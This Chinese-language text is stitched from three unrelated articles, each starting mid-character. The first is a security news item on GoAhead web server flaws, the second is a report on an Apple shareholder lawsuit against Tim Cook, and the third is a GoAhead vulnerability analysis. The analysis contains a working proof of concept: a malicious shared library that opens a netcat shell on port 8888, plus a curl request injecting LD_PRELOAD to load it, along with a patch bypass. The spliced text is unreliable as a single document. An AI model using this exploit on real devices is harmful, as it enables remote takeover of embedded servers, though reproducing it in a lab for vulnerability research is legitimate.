期，思科Talos的安全專家在GoAhead嵌入式Web服務(wù)中發(fā)現(xiàn)了兩個(gè)漏洞，其中包括一個(gè)高危RCE漏洞。

GoAhead可以說是世界上最流行的微型嵌入式Web服務(wù)器，由EmbedThis開發(fā)。它原本的定義為“緊湊、安全和易于使用”。GoAhead已部署在數(shù)億臺(tái)設(shè)備中，是小型嵌入式設(shè)備的理想選擇。根據(jù)Shodan搜索引擎的數(shù)據(jù)，在撰寫本文時(shí)，暴露在公網(wǎng)上的GoAhead數(shù)量已經(jīng)超過130萬。

第一個(gè)漏洞被標(biāo)記為CVE-2019-5096，與multi-part/form-data之類的請(qǐng)求有關(guān)。未經(jīng)身份驗(yàn)證的攻擊者可以利用這個(gè)漏洞觸發(fā)一個(gè)use-after-free，通過發(fā)送惡意的HTTP請(qǐng)求在目標(biāo)服務(wù)器上實(shí)現(xiàn)任意命令執(zhí)行。

根據(jù)安全報(bào)告（https://blog.talosintelligence.com/2019/12/vulnerability-spotlight-EmbedThis-GoAhead.html）的說法：“對(duì)基于版本v5.0.1、v4.1.1和v3.6.5的GoAhead Web服務(wù)器的應(yīng)用，在處理multi-part/form-data一類請(qǐng)求時(shí)存在一個(gè)遠(yuǎn)程命令執(zhí)行漏洞。攻擊者所發(fā)送的惡意HTTP請(qǐng)求可能觸發(fā)use-after-free，破壞堆結(jié)構(gòu)，導(dǎo)致命令執(zhí)行。惡意請(qǐng)求可以以GET或POST請(qǐng)求的形式存在，并且所請(qǐng)求的資源不需要真實(shí)存在于目標(biāo)服務(wù)器上。”

該漏洞的CVSS分?jǐn)?shù)為9.8。

而研究人員發(fā)現(xiàn)的第二個(gè)漏洞被標(biāo)記為CVE-2019-5097，也可被未經(jīng)身份驗(yàn)證的攻擊者所利用，通過發(fā)送惡意HTTP請(qǐng)求進(jìn)行拒絕服務(wù)（DoS）攻擊。

“對(duì)基于版本v5.0.1、v4.1.1和v3.6.5的GoAhead Web服務(wù)器的應(yīng)用，在處理multi-part/form-data一類請(qǐng)求時(shí)存在一個(gè)拒絕服務(wù)漏洞。一個(gè)惡意HTTP請(qǐng)求可能導(dǎo)致服務(wù)器處理流程進(jìn)入死循環(huán)。惡意請(qǐng)求可以以GET或POST請(qǐng)求的形式存在，并且所請(qǐng)求的資源不需要存在于目標(biāo)服務(wù)器上。”

根據(jù)Talos的說法, GoAhead的5.0.1、4.1.1和3.6.5版本均受這兩個(gè)漏洞影響。Talos已在8月份向EmbedThis報(bào)告了這些問題，而在11月21日這些漏洞已得到了解決。

早在2017年12月，Elttam的專家發(fā)現(xiàn)GoAhead Web服務(wù)存在缺陷（CVE-2017-17562），影響數(shù)十萬物聯(lián)網(wǎng)設(shè)備。這個(gè)漏洞也可以被利用在受影響的設(shè)備上執(zhí)行惡意代碼。

本文由白帽匯整理并翻譯，不代表白帽匯任何觀點(diǎn)和立場(chǎng)

來源：https://nosec.org/home/detail/3268.html

原文：https://securityaffairs.co/wordpress/94692/hacking/goahead-rce.html

白帽匯從事信息安全，專注于安全大數(shù)據(jù)、企業(yè)威脅情報(bào)。

公司產(chǎn)品：FOFA-網(wǎng)絡(luò)空間安全搜索引擎、FOEYE-網(wǎng)絡(luò)空間檢索系統(tǒng)、NOSEC-安全訊息平臺(tái)。

為您提供：網(wǎng)絡(luò)空間測(cè)繪、企業(yè)資產(chǎn)收集、企業(yè)威脅情報(bào)、應(yīng)急響應(yīng)服務(wù)。

克被起訴了！

起訴他的不是別人，就是自家的股東。

11 月 6 日晚間，據(jù)路透社報(bào)道，蘋果股東向庫克提起了集體訴訟，理由是股東認(rèn)為蘋果公司首席執(zhí)行官蒂姆·庫克隱瞞中國(guó)市場(chǎng)對(duì) iphone 的需求下降情況，導(dǎo)致投資者損失數(shù)十億美元。

看到這個(gè)消息，網(wǎng)友也是炸了鍋。

一方面認(rèn)為這是個(gè)假消息，尤其是 iPhone12 剛發(fā)售，各大電商平臺(tái)秒空，蘋果官網(wǎng)都被擠癱瘓了，怎么可能會(huì)銷量不佳？

另一方面網(wǎng)友們也認(rèn)為這或許是件好事。

所以，究竟怎么回事呢？

為什么起訴庫克？

事情還要從 2018 年說起。

2018 年 11 月 1 日，在蘋果發(fā)布 iPhone XR、XS 和 XS Max 三款新機(jī)型兩個(gè)月后，該公司在投資者電話會(huì)議上披露了 iPhone 的出貨量以及其他內(nèi)部信息，這些信息使投資者對(duì)購買更多蘋果股票充滿信心。

當(dāng)時(shí)，蘋果 CEO 庫克在回答分析師提問時(shí)，描述了對(duì)新款 iPhone 銷量的樂觀看法。而在談到新興市場(chǎng)上的表現(xiàn)時(shí)，他提到 iPhone 在巴西和印度市場(chǎng)面臨壓力，卻表示“我不會(huì)把中國(guó)列入其中”。

同一場(chǎng)合，蘋果公司 CFO 盧卡·梅斯特里宣布，該公司將不再在季度財(cái)報(bào)中公布銷量數(shù)據(jù)。

幾天后，蘋果開始要求供應(yīng)商控制產(chǎn)量。

當(dāng)月，蘋果股價(jià)下跌 18.12%，次月，繼續(xù)下跌 11.67%。

而 2018 年 8 月初，蘋果剛剛突破萬億美元市值，成為美股歷史上首個(gè)市值站上 1 萬億美元的上市公司。

所以，股東們認(rèn)為蘋果明明在新興市場(chǎng)面臨著銷售壓力，但庫克卻認(rèn)為中國(guó)市場(chǎng)的銷量不會(huì)受到影響。

2019 年 1 月，庫克又出乎意料地聲稱，受中國(guó)市場(chǎng)的影響，將把季度營(yíng)收預(yù)期下調(diào)了 90 億美元。

當(dāng)時(shí)，在下調(diào)預(yù)期營(yíng)收的第二天，蘋果股價(jià)大跌 10%，市值蒸發(fā) 740 億美元（約合人民幣 4886 億元），同時(shí)也讓投資者損失數(shù)十億美元。

基于此，美國(guó)地方法官伊馮·剛薩雷斯·羅杰斯（Yvonne Gonzalez Rogers）在裁定中指出，起訴者有理由認(rèn)為庫克的言論存在嚴(yán)重的虛假、誤導(dǎo)成分。

“盡管庫克可能不知道蘋果在中國(guó)市場(chǎng)已開始出現(xiàn)‘令人不安的跡象’的細(xì)節(jié)，但說他一無所知讓人難以置信”。

11 月 5 日，這一指控得到了法官的同意。

雖然蘋果和庫克均表示，沒有證據(jù)表明他們有意欺騙原告，但蘋果這幾年開始逐漸在中國(guó)市場(chǎng)力不從心是一個(gè)不爭(zhēng)的事實(shí)。

蘋果在中國(guó)市場(chǎng)不香了？

根據(jù)市場(chǎng)調(diào)研機(jī)構(gòu) IDC 發(fā)布的數(shù)據(jù)，2015-2019 年，iPhone 在中國(guó)市場(chǎng)的全年出貨量分別為 5840 萬部、4490 萬部、4110 萬部、3630 萬部和 3280 萬部，市場(chǎng)份額分別為 13.4%、9.6%、9.3%、9.2%和8.9%，均呈逐年下滑態(tài)勢(shì)。

而在全球智能手機(jī)市場(chǎng)，蘋果同樣遭到中國(guó)廠商的“圍堵”。

IDC 最新發(fā)布的報(bào)告顯示，2020 年三季度，iPhone 全球出貨 4160 萬部，同比下降 10.6%，市場(chǎng)份額11.8% 首次被小米反超，跌至第四。

10 月 30 日凌晨，蘋果發(fā)布了其截至 2020 年 9 月 30 日的第四季度財(cái)報(bào)。

財(cái)報(bào)顯示，蘋果公司 Q4 營(yíng)收為 646.98 億美元，比去年同期的 640.40 億美元僅僅增長(zhǎng)了 1%；凈利潤(rùn)為 126.73 億美元，比去年同期的 136.86 億美元下降 8%。

總體來看，蘋果硬件產(chǎn)品的凈營(yíng)收為 501.49 億美元，低于去年同期的 515.29 億美元。這其中，iPad、Mac 和其他硬件設(shè)備營(yíng)收都出現(xiàn)了上升，尤其是 Mac，營(yíng)收同比增長(zhǎng)近 30% 。

唯有來自 iPhone 的營(yíng)收出現(xiàn)了明顯的下降，幅度將近 70 億美元。

IDC 表示，這個(gè)下滑是在預(yù)期之內(nèi)的，主要原因就是 iPhone 12 系列新品的發(fā)布延遲；不過，iPhone 11 系列的表現(xiàn)異乎尋常地好，其次是二代 iPhone SE。

而在蘋果財(cái)報(bào)解讀中，Tim Cook 表示，9 月的最后兩周沒有推出 iPhone 新品，導(dǎo)致數(shù)據(jù)不盡如人意，但是由于 10 月份 iPhone 12 系列已經(jīng)發(fā)布，而中國(guó) 5G 發(fā)展非常迅速，因此蘋果有信心在本季度實(shí)現(xiàn)中國(guó)區(qū)業(yè)績(jī)的增長(zhǎng)。

Tim Cook 還表示，中國(guó)的 5G 發(fā)展非常迅速，因此 iPhone 12 系列進(jìn)入中國(guó)市場(chǎng)的時(shí)機(jī)剛剛好——不僅如此，5G 在全球各地都很普遍，而且 5G 覆蓋范圍正在擴(kuò)大，事情會(huì)越變?cè)胶谩?/p>

所以，你怎么看？

雷鋒網(wǎng)雷鋒網(wǎng)雷鋒網(wǎng)

參考資料：

【1】https://www.itwire.com/mobility/apple-shareholders-get-go-ahead-for-class-action-over-cook-statement.html

【2】https://peoplesgazette.com/apple-faces-litigation-over-shareholders-losses/

【3】https://www.leiphone.com/news/202010/HtOzMWsA5pAxVhxQ.html

、前言

1.1 下載地址

二、CVE-2017-17562

2.1 漏洞分析

cve-2017-17562遠(yuǎn)程命令執(zhí)行漏洞影響Goahead 2.5.0到Goahead 3.6.5之間的版本。在cgiHandler函數(shù)中，將用戶的HTTP請(qǐng)求參數(shù)作為環(huán)境變量，通過諸如LD_PRELOAD即可劫持進(jìn)程的動(dòng)態(tài)鏈接庫，實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。

2.2 代碼分析

漏洞成因位于cgiHandler函數(shù)中。代碼首先拼接出用戶請(qǐng)求的cgi完整路徑并賦予cgiPath，然后檢查此文件是否存在以及是否為可執(zhí)行文件。隨后就是存在漏洞的關(guān)鍵代碼處，如下圖所示：

代碼將用戶請(qǐng)求的參數(shù)存入環(huán)境變量數(shù)組envp中，但是不能為REMOTE_HOST和HTTP_AUTHORIZATION。從這里不難看出黑名單的過濾非常有限，這也為攻擊者提供了利用點(diǎn)。

如下圖所示代碼繼續(xù)往下執(zhí)行，將webGetCgiCommName函數(shù)的返回值保存在stdIn與stdOut中，此函數(shù)將返回一個(gè)默認(rèn)路徑位于/tmp文件名格式cgi-*.tmp的絕對(duì)路徑字符串。

隨后代碼將cgiPath、envp、stdIn與stdOut作為參數(shù)傳入launchCgi函數(shù)中。

PUBLIC char *websGetCgiCommName()
{
    return websTempFile(NULL, "cgi");
}


PUBLIC char *websTempFile(char *dir, char *prefix)
{
    static int count = 0;
    char   sep;


    sep = '/';
    if (!dir || *dir == '\0') {
#if WINCE
        dir = "/Temp";
        sep = '\\';
#elif ME_WIN_LIKE
        dir = getenv("TEMP");
        sep = '\\';
#elif VXWORKS
        dir = ".";
#else
        dir = "/tmp";
#endif
    }
    if (!prefix) {
        prefix = "tmp";
    }
    return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}

進(jìn)入launchCgi函數(shù)，根據(jù)注釋可知此函數(shù)為cgi啟動(dòng)函數(shù)。代碼首先打開了兩個(gè)tmp文件，隨后fork子進(jìn)程并在子進(jìn)程中將標(biāo)準(zhǔn)輸入與標(biāo)準(zhǔn)輸出重定向到兩個(gè)打開的文件描述符上，最后調(diào)用execve函數(shù)在子進(jìn)程中執(zhí)行cgi程序。

至此漏洞相關(guān)代碼分析完畢，代碼在執(zhí)行execve函數(shù)時(shí)將cgiHandler函數(shù)解析的envp數(shù)組作為第三個(gè)參數(shù)傳入，攻擊者可以在請(qǐng)求參數(shù)時(shí)通過LD_PRELOAD環(huán)境變量配合代碼重定向后/proc/self/fd/0指向POST數(shù)據(jù)實(shí)現(xiàn)動(dòng)態(tài)鏈接庫的劫持。

2.3 漏洞復(fù)現(xiàn)

下載編譯并通過gdb運(yùn)行存在漏洞的Goahead程序（3.6.4）

git clone https://github.com/embedthis/goahead.git
cd goahead 
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
sudo gdb ../build/linux-x64-default/bin/goahead

編寫惡意動(dòng)態(tài)鏈接庫，代碼以及編譯命令如下所示：

#include
#include


static void main(void) __attribute__((constructor));


static void main(void) {
           system("nc -lp 8888 -e /bin/sh");
}


// gcc --shared -fPIC poc.c -o poc.so

構(gòu)造HTTP請(qǐng)求發(fā)送

curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0

斷點(diǎn)下在execve函數(shù)處，此時(shí)內(nèi)存情況如下圖所示，envp數(shù)組中存在我們注入的惡意環(huán)境變量LD_PRELOAD并指向/proc/self/fd/0文件。在代碼分析中我們了解到，launchCgi函數(shù)會(huì)在子進(jìn)程中將標(biāo)準(zhǔn)輸入輸出重定向到cgi-*.tmp的文件描述符，而根據(jù)以往的經(jīng)驗(yàn)POST數(shù)據(jù)會(huì)作為cgi的標(biāo)準(zhǔn)輸入，也就是說此時(shí)/proc/self/fd/0所指向的正是我們的惡意文件poc.so，當(dāng)execve函數(shù)執(zhí)行時(shí)，即可劫持進(jìn)程動(dòng)態(tài)鏈接庫實(shí)現(xiàn)RCE。

2.4 補(bǔ)丁分析

首先是在cgiHandler函數(shù)中添加了更加完整的過濾檢測(cè)，使得LD_開頭的字符串無法寫入envp數(shù)組。

其次是增加了一層if判斷，當(dāng)s-arg不為0時(shí)進(jìn)行字符串拼接。根據(jù)索引找到s-arg的賦值語句位于addFormVars函數(shù)中，此函數(shù)是Goahead處理content-type為application/x-www-form-urlencoded的HTTP請(qǐng)求時(shí)會(huì)調(diào)用。

三、cve-2021-42342

3.1 漏洞分析

cve-2021-42342遠(yuǎn)程命令執(zhí)行漏洞影響Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的補(bǔ)丁時(shí)我們了解到新版的程序?qū)诿麊蔚耐暾陨献隽藘?yōu)化，然而在4.X版本中增加了一句strim函數(shù)對(duì)用戶參數(shù)的處理，如下圖所示：

進(jìn)入這個(gè)函數(shù)，當(dāng)?shù)诙€(gè)參數(shù)為0時(shí)return 0。因?yàn)殚_發(fā)人員對(duì)于strim函數(shù)使用規(guī)范的錯(cuò)誤使得針對(duì)cve-2017-17562的黑名單完善形同虛設(shè)。

上文在對(duì)cve-2017-17562補(bǔ)丁進(jìn)行分析時(shí)曾經(jīng)提到，s-arg在addFormVars函數(shù)中賦值為1，為了實(shí)現(xiàn)環(huán)境變量注入則必須使s-arg為0，繞過的方式也很簡(jiǎn)單令header中content-type為multipart/form-data即可。

后續(xù)利用方式與cve-2017-17562相同，筆者就不做重復(fù)分析了。

3.2 代碼分析

為了更好的了解漏洞的完整執(zhí)行流程，這里筆者針對(duì)Goahead處理Http的機(jī)制進(jìn)行深入分析，其中不對(duì)的地方歡迎師傅們指正。
在Goahead進(jìn)行啟動(dòng)后會(huì)執(zhí)行websServer函數(shù)進(jìn)行初始化操作。其中websOpen函數(shù)對(duì)route.txt文件進(jìn)行解析，關(guān)于route處理可以看一下layty

師傅的文章。

websOpen函數(shù)會(huì)根據(jù)配置啟動(dòng)相應(yīng)的代碼模塊

其中關(guān)于cgi請(qǐng)求的回調(diào)函數(shù)通過

websDefineHandler函數(shù)定義。

websOpen函數(shù)執(zhí)行完畢后返回websServer函數(shù)并調(diào)用websListen啟動(dòng)HTTP服務(wù)。代碼如下所示，當(dāng)接收到HTTP請(qǐng)求時(shí)調(diào)用回調(diào)函數(shù)websAccept函數(shù)進(jìn)行處理。

在

websAccept函數(shù)中調(diào)用websAlloc函數(shù)為請(qǐng)求分配內(nèi)存地址，添加入webs列表中。

其中

websAlloc函數(shù)調(diào)用initWebs函數(shù)對(duì)Webs結(jié)構(gòu)體進(jìn)行初始化。

此時(shí)

Goahead完成了對(duì)Http請(qǐng)求的初始化操作，而針對(duì)Http請(qǐng)求的處理工作則是通過執(zhí)行websAccept->socketEvent->readEvent完成響應(yīng)的

調(diào)用

websRead函數(shù)將數(shù)據(jù)寫入到wp->rxbuf緩沖區(qū)中，隨后執(zhí)行websPump函數(shù)。如下圖所示，在Goahead中將HTTP的處理流程分為了五個(gè)狀態(tài)，每個(gè)狀態(tài)由不同的函數(shù)進(jìn)行配置和處理工作。

3.2.1 WEBS_BEGIN

WEBS_BEGIN階段由parseIncoming函數(shù)負(fù)責(zé)處理，代碼如下圖所示。其中我們需要重點(diǎn)關(guān)注調(diào)用的三個(gè)函數(shù)parseFirstLine、parseHeaders、websRouteRequest函數(shù)。

parseFirstLine函數(shù)負(fù)責(zé)將請(qǐng)求的類型、url、協(xié)議版本和請(qǐng)求參數(shù)保存在wp結(jié)構(gòu)體中

parseHeaders函數(shù)負(fù)責(zé)對(duì)請(qǐng)求頭進(jìn)行解析，其中對(duì)請(qǐng)求頭中content-type鍵處理流程如下圖所示。為了滿足漏洞的觸發(fā)條件s->arg為0，所以我們需要繞過addFormVars函數(shù)，即請(qǐng)求頭content-type為multipart/form-data。

websRouteRequest函數(shù)用于確定HTTP請(qǐng)求的處理函數(shù)。通過url路徑與route->prefix進(jìn)行比較確定最終處理函數(shù)，并將結(jié)果保存在wp->route中。其中routes數(shù)組保存了route.txt文件解析后，所有處理函數(shù)的相關(guān)數(shù)據(jù)。

調(diào)用

websGetCgiCommName函數(shù)創(chuàng)建文件名格式為cgi-*.tmp的臨時(shí)文件用于保存POST數(shù)據(jù)。

3.2.2 WEBS_CONTENT

返回websPump函數(shù)，隨后調(diào)用processContent函數(shù)。函數(shù)部分代碼如下所示，其中filterChunkData函數(shù)檢測(cè)數(shù)據(jù)是否全部處理完畢，websProcessUploadData函數(shù)為處理上傳文件的函數(shù)。

進(jìn)入函數(shù)后可以看到上傳操作被分為五個(gè)狀態(tài)，每種狀態(tài)由專門的函數(shù)負(fù)責(zé)處理，如下圖所示。

initUpload函數(shù)切換wp->uploadState狀態(tài)為initUpload，初始化上傳路徑并確定上傳請(qǐng)求邊界符。

processContentBoundary函數(shù)判斷數(shù)據(jù)是否已經(jīng)處理完畢，若是則將狀態(tài)切換為UPLOAD_CONTENT_END，若還有數(shù)據(jù)未處理完成則切換狀態(tài)為UPLOAD_CONTENT_HEADER。
processUploadHeader函數(shù)通過調(diào)用websTempFile函數(shù)創(chuàng)建用于暫存上傳數(shù)據(jù)的臨時(shí)文件，文件名格式/tmp/tmp-*.tmp，將臨時(shí)文件的文件描述符保存在wp->upfd中。
processContentData函數(shù)調(diào)用writeToFile函數(shù)將上傳的數(shù)據(jù)保存在臨時(shí)文件中，并修改上傳狀態(tài)為UPLOAD_BOUNDARY判斷數(shù)據(jù)是否上傳完畢。

當(dāng)全部數(shù)據(jù)處理完畢后wp->eof置1，wp->state狀態(tài)更改為WEBS_READY。
返回processContent函數(shù)后繼續(xù)執(zhí)行，調(diào)用websProcessCgiData函數(shù)將POST數(shù)據(jù)保存在臨時(shí)文件cgi-*.tmp中

3.2.3 WEBS_READY

程序流程返回websPump函數(shù)后，在WEBS_READY階段調(diào)用websRunRequest函數(shù)，此函數(shù)主要負(fù)責(zé)切換wp->state為WEBS_RUNNING，并調(diào)用cgiHandler函數(shù)。

在代碼執(zhí)行到漏洞位置時(shí)，

s->arg值為零完成繞過。后續(xù)的利用原理與cve-2017-17562類似，這里就不過多贅述。

四、參考